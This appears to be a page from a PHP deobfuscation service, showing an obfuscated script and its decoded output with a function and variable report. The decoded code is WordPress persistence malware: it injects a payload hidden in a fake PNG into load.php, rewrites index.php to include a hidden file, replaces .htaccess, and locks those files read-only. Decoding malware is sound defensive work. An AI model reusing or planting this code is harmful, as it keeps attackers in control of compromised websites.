Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$A=explode(',',"\x66\x69\x6c\x65\x5f\x65\x78\x69\x73\x74\x73\x2c\x66\x69\x6c\x65\x73\x69\x..

Decoded Output download

<?  $A=explode(',',"file_exists,filesize,file_get_contents,chmod,unlink,file_put_contents,base64_decode,substr,filemtime,strpos,touch");$W="/home/itblegal/ftp/itblegal_www/wp";$F=$W."/wp-includes/load.php";$Ftime = time(); $Ftxt = '';if($A[0]($F)) { $Ftime = @$A[8]($F);$Ftxt = @$A[2]($F);}if(!empty($Ftxt) && !$A[9]($Ftxt,'_TM')) {if($Rtxt=@$A[2]("/home/itblegal/ftp/itblegal_www/wp/wp-includes/images/crystal/defaults.png")){@$A[5]($F, $A[6]($A[7]($Rtxt,1)).$Ftxt);@$A[10]($F, $Ftime+1);}}$F=$W."/index.php";if(!$A[0]($F)||$A[1]($F)!=493){ @$A[3]($F, 0644);@$A[4]($F);@$A[5]($F, $A[6]('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqL0BpbmNsdWRlKCJceDc3XHg3MFx4MmRceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHgyZlx4MmVceDcwXHg2OFx4NzAiKTsNCg0KLyoqDQogKiBUZWxscyBXb3JkUHJlc3MgdG8gbG9hZCB0aGUgV29yZFByZXNzIHRoZW1lIGFuZCBvdXRwdXQgaXQuDQogKg0KICogQHZhciBib29sDQogKi8NCmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7DQoNCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOw=='));@$A[3]($F, 0444);}$F=$W."/.htaccess";if(!$A[0]($F)||$A[1]($F)!=206){ @$A[3]($F, 0644);@$A[4]($F);@$A[5]($F, $A[6]('PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA0KUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4='));@$A[3]($F, 0444);} ?>

Did this file decode correctly?

Original Code

$A=explode(',',"\x66\x69\x6c\x65\x5f\x65\x78\x69\x73\x74\x73\x2c\x66\x69\x6c\x65\x73\x69\x7a\x65\x2c\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x2c\x63\x68\x6d\x6f\x64\x2c\x75\x6e\x6c\x69\x6e\x6b\x2c\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73\x2c\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x2c\x73\x75\x62\x73\x74\x72\x2c\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65\x2c\x73\x74\x72\x70\x6f\x73\x2c\x74\x6f\x75\x63\x68");$W="\x2f\x68\x6f\x6d\x65\x2f\x69\x74\x62\x6c\x65\x67\x61\x6c\x2f\x66\x74\x70\x2f\x69\x74\x62\x6c\x65\x67\x61\x6c\x5f\x77\x77\x77\x2f\x77\x70";$F=$W."\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x6c\x6f\x61\x64\x2e\x70\x68\x70";$Ftime = time(); $Ftxt = '';if($A[0]($F)) { $Ftime = @$A[8]($F);$Ftxt = @$A[2]($F);}if(!empty($Ftxt) && !$A[9]($Ftxt,'_TM')) {if($Rtxt=@$A[2]("\x2f\x68\x6f\x6d\x65\x2f\x69\x74\x62\x6c\x65\x67\x61\x6c\x2f\x66\x74\x70\x2f\x69\x74\x62\x6c\x65\x67\x61\x6c\x5f\x77\x77\x77\x2f\x77\x70\x2f\x77\x70\x2d\x69\x6e\x63\x6c\x75\x64\x65\x73\x2f\x69\x6d\x61\x67\x65\x73\x2f\x63\x72\x79\x73\x74\x61\x6c\x2f\x64\x65\x66\x61\x75\x6c\x74\x73\x2e\x70\x6e\x67")){@$A[5]($F, $A[6]($A[7]($Rtxt,1)).$Ftxt);@$A[10]($F, $Ftime+1);}}$F=$W."\x2f\x69\x6e\x64\x65\x78\x2e\x70\x68\x70";if(!$A[0]($F)||$A[1]($F)!=493){ @$A[3]($F, 0644);@$A[4]($F);@$A[5]($F, $A[6]('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqL0BpbmNsdWRlKCJceDc3XHg3MFx4MmRceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHgyZlx4MmVceDcwXHg2OFx4NzAiKTsNCg0KLyoqDQogKiBUZWxscyBXb3JkUHJlc3MgdG8gbG9hZCB0aGUgV29yZFByZXNzIHRoZW1lIGFuZCBvdXRwdXQgaXQuDQogKg0KICogQHZhciBib29sDQogKi8NCmRlZmluZSggJ1dQX1VTRV9USEVNRVMnLCB0cnVlICk7DQoNCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOw=='));@$A[3]($F, 0444);}$F=$W."\x2f\x2e\x68\x74\x61\x63\x63\x65\x73\x73";if(!$A[0]($F)||$A[1]($F)!=206){ @$A[3]($F, 0644);@$A[4]($F);@$A[5]($F, $A[6]('PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA0KUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4='));@$A[3]($F, 0444);}

Function Calls

time 1
explode 1
filemtime 1
file_exists 1

Variables

$A [{'key': None, 'value': 'file_exists'}, {'key': None, 'value': 'filesize'}, {'key': None, 'value': 'file_get_contents'}, {'key': None, 'value': 'chmod'}, {'key': None, 'value': 'unlink'}, {'key': None, 'value': 'file_put_contents'}, {'key': None, 'value': 'base64_decode'}, {'key': None, 'value': 'substr'}, {'key': None, 'value': 'filemtime'}, {'key': None, 'value': 'strpos'}, {'key': None, 'value': 'touch'}]
$F /home/itblegal/ftp/itblegal_www/wp/wp-includes/load.php
$W /home/itblegal/ftp/itblegal_www/wp
$Ftxt
$Ftime 1701724260

Stats

MD5 c76ce5fd475393d835929c60e8acb461
Eval Count 0
Decode Time 70 ms